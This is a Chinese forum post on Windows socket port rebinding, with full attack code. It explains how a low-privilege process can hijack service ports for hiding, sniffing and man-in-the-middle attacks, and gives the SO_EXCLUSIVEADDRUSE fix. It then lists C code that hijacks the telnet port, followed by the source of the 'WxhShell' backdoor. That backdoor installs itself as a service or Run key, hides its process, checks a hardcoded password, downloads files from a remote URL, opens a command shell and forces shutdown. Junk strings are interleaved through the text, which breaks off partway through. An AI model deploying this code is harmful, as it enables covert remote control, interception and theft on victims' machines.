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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iy8U rgG;l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [[?:,6I  
r9@W8](\  
  saddr.sin_family = AF_INET; j%b/1@I  
OGrVy=rd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [,-MC7>]  
gmWRw{nS+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )2z (l-$.  
VVvV]rU~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :M1S*"&:  
;|b D@%@  
  这意味着什么?意味着可以进行如下的攻击: 4_`+&  
.-[UHO05^8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Jk|c!,!  
DVRE;+Jt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m"~$JA u  
[z`U 9J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _5.^A&Y*  
W=o90TwbN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z:|4S@9  
IR|AlIv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zO2Z\E'% .  
Zo22se0)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nvxftbfE^D  
N9Yc\?_NU_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 JMpjiB,A}  
+%8c8]2  
  #include $)mE"4FE  
  #include 8\`]T%h  
  #include 4)-LlYS_d<  
  #include    ;p/RS#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G1vWHa7n;f  
  int main() 91r#lDR  
  { myFj w@  
  WORD wVersionRequested; Z= dEk`  
  DWORD ret; ^x4I  
  WSADATA wsaData; !Z,h5u\.w  
  BOOL val; b-@VR  
  SOCKADDR_IN saddr; "kz``6C  
  SOCKADDR_IN scaddr; E:(flW=  
  int err; ^:\|6`{n  
  SOCKET s; G#8HY VF  
  SOCKET sc; qn6Y(@<[  
  int caddsize; f$NudG!S  
  HANDLE mt; [(w _!|S  
  DWORD tid;   ^/2n[orl5  
  wVersionRequested = MAKEWORD( 2, 2 ); P6zy<w  
  err = WSAStartup( wVersionRequested, &wsaData ); WL7R.!P  
  if ( err != 0 ) { 6?Rm>+2>v  
  printf("error!WSAStartup failed!\n"); 'u{m37ZJ  
  return -1; t*< .^+Vd  
  } *n N;!*J  
  saddr.sin_family = AF_INET; oJUVW"X6  
   "44VvpQC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0ho+Y@8  
+%=Ao6/#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  "C B*  
  saddr.sin_port = htons(23); @/ wJW``;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T c4N\Cy  
  { h2zuPgz,  
  printf("error!socket failed!\n"); ,g#=pdX;  
  return -1; Z+=WgEu1  
  } jnYFA[Ab  
  val = TRUE; hUcG3IOBf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ot]E\g+!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A{Z=[]r1`E  
  { _+S`[:;a  
  printf("error!setsockopt failed!\n"); O$E3ry+?  
  return -1; cV_nYcLkz  
  } C#`eN{%.YT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uR|Jn)/m(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Y{B|*[xM  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @ O5-w  
`ux U H#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D:U:( pg  
  { n@mWB UM  
  ret=GetLastError(); }>=k!l{  
  printf("error!bind failed!\n"); 3205gI,  
  return -1; K~5QL/=1  
  } G@oY2sM"  
  listen(s,2); 3aQWzEnh  
  while(1) :t8(w>oW  
  { =M>1;Qr<Z/  
  caddsize = sizeof(scaddr); @H"~/m_o  
  //接受连接请求 b!J21cg<L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j~(rG^T  
  if(sc!=INVALID_SOCKET) I&U?8  
  { KtUI(*$`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); scCOiK)  
  if(mt==NULL) p)N=  
  { FRQ0tIp  
  printf("Thread Creat Failed!\n"); G,e>dp_cPu  
  break; EkgS*q_  
  } <- Q=h?D  
  } FylL7n  
  CloseHandle(mt); P&V,x`<Z  
  } 'xm_oGWE  
  closesocket(s); fmXA;^%  
  WSACleanup(); &/d;4Eu  
  return 0; 1D&Q{?RM  
  }   '^'vafs-/@  
  DWORD WINAPI ClientThread(LPVOID lpParam) ".O+";wk  
  { x1W<r)A )r  
  SOCKET ss = (SOCKET)lpParam; y5 $h  
  SOCKET sc; a?.hvI   
  unsigned char buf[4096]; J4#t1P@Na  
  SOCKADDR_IN saddr; Kgbgp mW  
  long num; +N: K V}K  
  DWORD val; rP>iPDf  
  DWORD ret; ^\Nsx)Y;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 //nR=Dy{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G4vXPx%a8  
  saddr.sin_family = AF_INET; A,{X<mLFb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <f&z~y=  
  saddr.sin_port = htons(23); Dj'aWyW'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \?{nP6=  
  { %|}obiV)  
  printf("error!socket failed!\n"); )Ge.1B$8h  
  return -1; "~0m_brf  
  } cH?j@-pY  
  val = 100; Q"n*`#Yt'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &[f.;1+C  
  { ~0,Utqy  
  ret = GetLastError(); s9>f5u?dK  
  return -1; Q0i.gEwe  
  } XZYpU\K  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H'Bor\;[>  
  { Ol1[o  
  ret = GetLastError(); U8KB @E  
  return -1; vyP3]+n  
  } w>>)3:Ytd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dR<sBYo  
  { EYtf>D  
  printf("error!socket connect failed!\n"); w$WN` =  
  closesocket(sc); l)m\i_r:  
  closesocket(ss); lG/M%i  
  return -1; G.OAzA13!t  
  } eVyXh>b*  
  while(1) 1{i)7 :Y  
  { Kv^ez%I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fNNkc[YTZI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^I=c]D]);  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YQ9@Dk0R  
  num = recv(ss,buf,4096,0); ?Y7'OlO  
  if(num>0) q(4W /y  
  send(sc,buf,num,0); Z{s&myd  
  else if(num==0) \Y&*sfQ  
  break; `,gGmh  
  num = recv(sc,buf,4096,0); o4,fwPkB  
  if(num>0) &4Q(>"iL4  
  send(ss,buf,num,0); 1OJD!juL$  
  else if(num==0) ifTMoC%  
  break; R]O!F)_/'  
  } kwU~kcM  
  closesocket(ss); P,r9  <  
  closesocket(sc); y|f`sBMM  
  return 0 ; aG.j0`)%  
  } 7p%W)=v  
k nrR%e;  
7 ^7Rk  
========================================================== 6nqG;z-IXJ  
2\h}6DGx2  
下边附上一个代码,,WXhSHELL .V G$`g"  
V#["Z}  
========================================================== _PD RUJ  
X]ow5{e  
#include "stdafx.h" Dnn$-W|NC  
gKy@$at&  
#include <stdio.h> VU3xP2c:  
#include <string.h> l!CWE  
#include <windows.h> bfy `UZr  
#include <winsock2.h> 6X2>zUHR  
#include <winsvc.h> gDE',)3Q,  
#include <urlmon.h> _Mq0QQ42  
2c`m8EaJ  
#pragma comment (lib, "Ws2_32.lib") ?tS=rqc8oW  
#pragma comment (lib, "urlmon.lib") NBHS   
$Y.Z>I;  
#define MAX_USER   100 // 最大客户端连接数 7OY<*ny  
#define BUF_SOCK   200 // sock buffer iU3)4(R  
#define KEY_BUFF   255 // 输入 buffer T&Z%=L_Q  
,RIGV[u  
#define REBOOT     0   // 重启 b* Ny  
#define SHUTDOWN   1   // 关机  $0>>Z  
GWo^hIfJ  
#define DEF_PORT   5000 // 监听端口 iJ.P&T9  
`X[L62D  
#define REG_LEN     16   // 注册表键长度 m8'B7|s  
#define SVC_LEN     80   // NT服务名长度 I{Hl2?CnI,  
PhF.\W b  
// 从dll定义API eFDhJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?O(KmDH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4|*b{Ni  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t I}@1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ah:!  
8:^`rw4a0  
// wxhshell配置信息 kx,9n)  
struct WSCFG { VeK^hz R^Z  
  int ws_port;         // 监听端口 GyI(1O AW  
  char ws_passstr[REG_LEN]; // 口令 6(Za}H  
  int ws_autoins;       // 安装标记, 1=yes 0=no <YX)am'\y  
  char ws_regname[REG_LEN]; // 注册表键名 B;xw @:H  
  char ws_svcname[REG_LEN]; // 服务名 <tkxE!xF`J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'PPVM@)fU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tdZ,sHY6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *lHI\5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @i'24Q[6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #;FHyKx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F7$x5h@  
cpz'upVOZ  
}; :Awnj!KNCc  
}YUUCq&  
// default Wxhshell configuration M`IiK+IoU  
struct WSCFG wscfg={DEF_PORT, E^uau=F  
    "xuhuanlingzhe", '}\{4Qst  
    1, sute%6yM  
    "Wxhshell", O%?TxzX;  
    "Wxhshell", .Rt_j  
            "WxhShell Service", Kq!E<|yM  
    "Wrsky Windows CmdShell Service", vlYDhjZk#  
    "Please Input Your Password: ", <SM{yMz  
  1, 6J. [9#  
  "http://www.wrsky.com/wxhshell.exe", AQkH3p/W  
  "Wxhshell.exe" {!5"Y(>X  
    }; XVwaX2=L  
XQCu\\>;  
// 消息定义模块 rl-r8?H}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rN6 @=uB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;#c|ZnX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 86Q\G.h7  
char *msg_ws_ext="\n\rExit."; }#~@HM>6Z  
char *msg_ws_end="\n\rQuit."; U-.?+ `  
char *msg_ws_boot="\n\rReboot..."; p&1IK8i"  
char *msg_ws_poff="\n\rShutdown..."; 7oY}=281  
char *msg_ws_down="\n\rSave to "; klHOAb1  
APxy %0Q  
char *msg_ws_err="\n\rErr!"; i! G^=N  
char *msg_ws_ok="\n\rOK!"; vt{s"\f  
;0*T7l  
char ExeFile[MAX_PATH]; 9y=$ |"<(  
int nUser = 0; K07SbL7g!p  
HANDLE handles[MAX_USER]; VYw vT0  
int OsIsNt; {SH +lX0]{  
ZUGuV@&-T  
SERVICE_STATUS       serviceStatus; _Eq*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =hE5 ?}EP+  
(ov=D7>t0  
// 函数声明 NJJsg^'  
int Install(void); >XzCHtEP  
int Uninstall(void); v4]7"7GuW  
int DownloadFile(char *sURL, SOCKET wsh); b|U48j1A  
int Boot(int flag); $47cKit|k:  
void HideProc(void); \(UEjlo  
int GetOsVer(void); fdr.'aMf%  
int Wxhshell(SOCKET wsl); #PYTFB%  
void TalkWithClient(void *cs); BNU]NcA#*,  
int CmdShell(SOCKET sock); 'Y23U7 n0B  
int StartFromService(void); hpJ[VKe  
int StartWxhshell(LPSTR lpCmdLine); HfN-WYiR  
9/Q_Jv-Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bkg/A;H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ".+wz1  
Id8^6FLw  
// 数据结构和表定义 p)}iUU2N  
SERVICE_TABLE_ENTRY DispatchTable[] = `q Sfo`  
{ RB1c!h$u  
{wscfg.ws_svcname, NTServiceMain}, cVv>"oF;~*  
{NULL, NULL} PAF2=  
}; 1_vaSEov  
KobNi#O+  
// 自我安装 J;+A G^U<  
int Install(void) TbyQ'MbUv  
{ SF*! Z2K  
  char svExeFile[MAX_PATH]; ahgm*Cpc  
  HKEY key; x7$U  
  strcpy(svExeFile,ExeFile); $q#|B3N%  
x:8xGG9  
// 如果是win9x系统,修改注册表设为自启动 M7vc/E}]n  
if(!OsIsNt) { ,=KJ7zIK?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }N; c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wc-H`S|@  
  RegCloseKey(key); ;p ~@*c'E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x#yL&+'?Mj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]9z{ 95  
  RegCloseKey(key); ;c73:'e  
  return 0; $^R[t;  
    } x9r5 ;5TI  
  } n y6-_mA]  
} *au&ODa  
else { FY"!%)TV  
v ?@Ys+V  
// 如果是NT以上系统,安装为系统服务  8.D$J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \~ O6S`,  
if (schSCManager!=0) <Q)6N!Tp^  
{ (n7 v $A  
  SC_HANDLE schService = CreateService ai"Kd=R  
  ( -05zcIVo  
  schSCManager, GRz`fO  
  wscfg.ws_svcname, eN]0]9JO  
  wscfg.ws_svcdisp, DmAMr=p  
  SERVICE_ALL_ACCESS, *,1^{mb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y604peUF  
  SERVICE_AUTO_START, k!E`Xeob  
  SERVICE_ERROR_NORMAL, d#7 z N  
  svExeFile, +:w9K!31-  
  NULL, i}Ea>bi{N  
  NULL, %)_R>.>  
  NULL, KfJF9!U*?  
  NULL, m MO:m8W  
  NULL Cec!{]DL&  
  ); YBQO]3f  
  if (schService!=0) N(mhgC<O  
  { -[OGZP`8  
  CloseServiceHandle(schService); *1iJa  
  CloseServiceHandle(schSCManager); +GMM&6<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  K9  
  strcat(svExeFile,wscfg.ws_svcname); %Bg} a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NwM=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -WP_0  
  RegCloseKey(key); UMUr"-l =  
  return 0; 0hcrQ^BB!b  
    } hBDPz1<  
  } {>>ozB.  
  CloseServiceHandle(schSCManager); p"ht|x  
} FCQIfJ#  
} 04NI.Jv  
!$hrK6o  
return 1; `9b/Q  
} k{Yj!C> #  
VR5$[-E3  
// 自我卸载 $Hqm 09w  
int Uninstall(void) &k(t_~m>  
{ sJtz{'  
  HKEY key; dUeM+(s1  
Y1EN|!WZ  
if(!OsIsNt) { ~=(?Z2UDA_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [La=z 7*  
  RegDeleteValue(key,wscfg.ws_regname); +jzpB*@  
  RegCloseKey(key); \Oh9)X:I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }K9Vr!  
  RegDeleteValue(key,wscfg.ws_regname); 9ZUG~d7_  
  RegCloseKey(key); JE,R[` &  
  return 0; _m0H gLS~  
  } C/%umazP9  
} nab:y(]$/  
} -tZ2 N  
else { PH 97O`"  
a_'W1ek-@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q5:-?|jXJ  
if (schSCManager!=0) \^SL Zhe  
{ a^i`DrX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /Q5pA n-u  
  if (schService!=0) -wlob`3  
  { <||F$t  
  if(DeleteService(schService)!=0) { i{PRjkR  
  CloseServiceHandle(schService); #B:J7&@fn  
  CloseServiceHandle(schSCManager); K^?yD   
  return 0; VcIsAK".4[  
  } T=: &W3  
  CloseServiceHandle(schService); g"]%5Ow1  
  } YnuC<y &p  
  CloseServiceHandle(schSCManager); Q?n} ~(% &  
} -cNh5~p=  
} b")&"o)G2W  
Ta?#o  
return 1; 5+:b #B  
} wlBdA  
1 9a"@WB@  
// 从指定url下载文件 j(6:   
int DownloadFile(char *sURL, SOCKET wsh) P (jlWr$$  
{ wA) NB  
  HRESULT hr; Ps Qq ^/  
char seps[]= "/"; BIDmZU9tL  
char *token;  ^"K  
char *file; yAR''>  
char myURL[MAX_PATH]; 0}hN/2}&  
char myFILE[MAX_PATH]; fm87?RgXD  
3G8BYP  
strcpy(myURL,sURL); DzO0V"+H}k  
  token=strtok(myURL,seps); v>.nL(VLjP  
  while(token!=NULL) cEi{+rfZd|  
  { |gx{un`  
    file=token; V=k!&xN~  
  token=strtok(NULL,seps); ui`xgR\6Rh  
  } =1)yI>2e%}  
3SVI|A5(d  
GetCurrentDirectory(MAX_PATH,myFILE); 8qp!S1Qnv  
strcat(myFILE, "\\"); au}rS0) +  
strcat(myFILE, file); oP5G*AFUq  
  send(wsh,myFILE,strlen(myFILE),0);  >>Hsx2M  
send(wsh,"...",3,0); ST)l0c+Y>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I>bLgt]u3  
  if(hr==S_OK) Pk[f_%0  
return 0; 1gts=g.  
else qqQnL[`)C  
return 1; FyJI@PZdI-  
M kko1T=6  
} @)m[: n  
UP 1Y3  
// 系统电源模块 W"AWhi{h  
int Boot(int flag) 2:MB u5**  
{ 3 =@7:4 A  
  HANDLE hToken; !Zgb|e8<  
  TOKEN_PRIVILEGES tkp; jii2gtu'U  
X_+`7yCi"x  
  if(OsIsNt) { AvRZf-Geg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Crh5^?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~ygiKsD6b  
    tkp.PrivilegeCount = 1; [=u8$5/a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q#urx^aw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JM -Tp!C>  
if(flag==REBOOT) { XJ?|\=]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U}MU>kzb  
  return 0; |^C?~g  
} M:6H%6eT  
else { -]~U_J]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >pO[ S[  
  return 0; j\q1b:pE  
} _a8^AG  
  } EK_NN<So#  
  else { TgJx%  
if(flag==REBOOT) { %MU<S9k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o DPs xw  
  return 0; X&MO}  
} ,f0cy\.?  
else { `x~k}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p*_g0_^  
  return 0; HGfYL')Z  
} MG[?C2KA/  
} z 4Qz9#*"^  
B{H;3{0  
return 1; Df||#u=n  
} [{6]iJ  
%Gl,V5z&  
// win9x进程隐藏模块 44f8Hc1g  
void HideProc(void) n0 _:!]k^  
{ eT[ ,k[#q  
RZjTUMAz4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [WXtR  
  if ( hKernel != NULL ) dE_BV=H{  
  { ,[,+ _A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yx3M0Qo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g~h`wv'  
    FreeLibrary(hKernel); '`T.K<  
  } v+znKpE  
^TVy :5Ag  
return; y mY,*Rb  
} hZY+dHa]  
kWjCSC>jA  
// 获取操作系统版本 J [2;&-@  
int GetOsVer(void) 0?BT*  
{ Ooc,R(  
  OSVERSIONINFO winfo; Zla5$GM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i cQsA  
  GetVersionEx(&winfo); lEQ 63)Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zu(/ c  
  return 1; Ec8Y}C,{7<  
  else 1m|Oi%i4  
  return 0; }<uD[[FLB  
} gmLGK1  
FgE6j;   
// 客户端句柄模块 $.R$I&U  
int Wxhshell(SOCKET wsl) r&A#h;EQX2  
{ 3lM mSKN  
  SOCKET wsh; g v&xC 6>  
  struct sockaddr_in client; 3*CF!Y%  
  DWORD myID; <\8dh(>  
Yt++  ?  
  while(nUser<MAX_USER) ;EW]R9HCH  
{ 93kSBF#  
  int nSize=sizeof(client);  h#^IT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @NlnZfMu  
  if(wsh==INVALID_SOCKET) return 1; QL-((dZ<  
j8M}*1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $ Etf'.  
if(handles[nUser]==0) ([_ls8  
  closesocket(wsh); @,CCwiF'q  
else Z?oFee!4  
  nUser++; K*'(;1AiW  
  } 2[[ pd&MJZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }KCXo/y  
VeA;zq  
  return 0; _p?lRU8  
} tB&D~M6[  
BEg%u)"([  
// 关闭 socket `8xmM A_l  
void CloseIt(SOCKET wsh) qdCa]n!d  
{ Rde#=>@V  
closesocket(wsh); IxYuJpi  
nUser--; 0+P_z(93?  
ExitThread(0); <uU AAHi  
} ,'= Y  
sw'20I  
// 客户端请求句柄 |bi"J;y  
void TalkWithClient(void *cs) 09_3`K. *  
{ !R//"{k0?  
HO41)m+&  
  SOCKET wsh=(SOCKET)cs; p"Oi83w;9  
  char pwd[SVC_LEN]; n/p M[gI  
  char cmd[KEY_BUFF]; UN`-;!  
char chr[1]; >9esZA^';  
int i,j; ',z'.t  
&~6Z)}  
  while (nUser < MAX_USER) { 1MRt_*N4  
xh#ef=Bw  
if(wscfg.ws_passstr) { JZD27[b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uDafPTF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FGr0W|?v  
  //ZeroMemory(pwd,KEY_BUFF); fH`P8?](x  
      i=0; NJz8ANpro$  
  while(i<SVC_LEN) { =NSLx2:T  
qp"gD-,-o  
  // 设置超时 HGC>jeWd_  
  fd_set FdRead; Cl\Vk  
  struct timeval TimeOut; - tF5$pb'  
  FD_ZERO(&FdRead); #`:60#l  
  FD_SET(wsh,&FdRead); \'GX^0yK  
  TimeOut.tv_sec=8; Al$"k[-Uin  
  TimeOut.tv_usec=0; r@e_cD] M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %HL@O]ftS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TqKL(Qw E  
|w>"oaLN|Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~fAdOh  
  pwd=chr[0]; :?RooJ~#  
  if(chr[0]==0xd || chr[0]==0xa) { bRLmJt98P  
  pwd=0; lR{eO~'~V  
  break; #| A @  
  } Y%^&aacZ  
  i++; GJy><'J,!>  
    } 00%$?Fyk  
1#(,Bq4  
  // 如果是非法用户,关闭 socket 2OAh7'8<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w]"Y1J(i  
} [LL"86D  
zO9$fU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M_T$\z;,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7w @.)@5  
[uc;M6o}?  
while(1) { j &,vju  
'#4ya=Ww  
  ZeroMemory(cmd,KEY_BUFF); Z&s+*& TM  
;T"}dJel#  
      // 自动支持客户端 telnet标准   6IPhy.8  
  j=0; ^KF  
  while(j<KEY_BUFF) { $*xnq%A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z #w1,n88  
  cmd[j]=chr[0]; Fu )V2[TY  
  if(chr[0]==0xa || chr[0]==0xd) { W5 fO1F  
  cmd[j]=0; R|$=Pfg~4  
  break; }&y>g0$@  
  } m3F.-KPO  
  j++; >P>.j+o/  
    } (4$lB{%  
4D$$KSa  
  // 下载文件 , j'=sDl  
  if(strstr(cmd,"http://")) { k#JFDw\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S?OK@UEJ  
  if(DownloadFile(cmd,wsh)) s]5wzbFO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7T_g?!sdMh  
  else @s/;y VVq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x\3 ` W  
  } 89`AF1  
  else { O *H:CW  
MZ=U} &F  
    switch(cmd[0]) { }UXj|SY  
  0Ny0#;P  
  // 帮助 ;?=nr5;q  
  case '?': { yeE_1C .  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OJ@';ZyT=  
    break; }s}b]v  
  } Lt@4F   
  // 安装 ]=WJ%p1l  
  case 'i': { 9w11kut-!  
    if(Install()) /'TzHO9_`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WYRTt2(+%  
    else v^[tK2&v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S'Yg!KwX  
    break; s:*gjoL  
    } g}ciG!0  
  // 卸载 asQ pVP  
  case 'r': { z ]o&^Q  
    if(Uninstall()) TkWS-=lNH0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K&BlWXT  
    else }YU#} Ip@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X2dTV}~i  
    break; u-OwL1S+  
    } "!p#8jR^  
  // 显示 wxhshell 所在路径 {'"A hiR/  
  case 'p': { KOhy)h+ h  
    char svExeFile[MAX_PATH]; fa\<![8LAU  
    strcpy(svExeFile,"\n\r"); 6\4oHRJC  
      strcat(svExeFile,ExeFile); >^|\wy  
        send(wsh,svExeFile,strlen(svExeFile),0); S,G=MI"  
    break; +_:Ih,-   
    } 0m7J'gm{  
  // 重启 %[lX  H  
  case 'b': { e>nRJH8pK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,EcmMI^A  
    if(Boot(REBOOT)) D G7FG--  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (z ;=3S  
    else { <g>_#fz"K  
    closesocket(wsh); Y8m|f  
    ExitThread(0); C([;JO 11[  
    } *3S,XMS{O  
    break; >bz}IcZP  
    } IJS9%m#  
  // 关机 }`5%2iG  
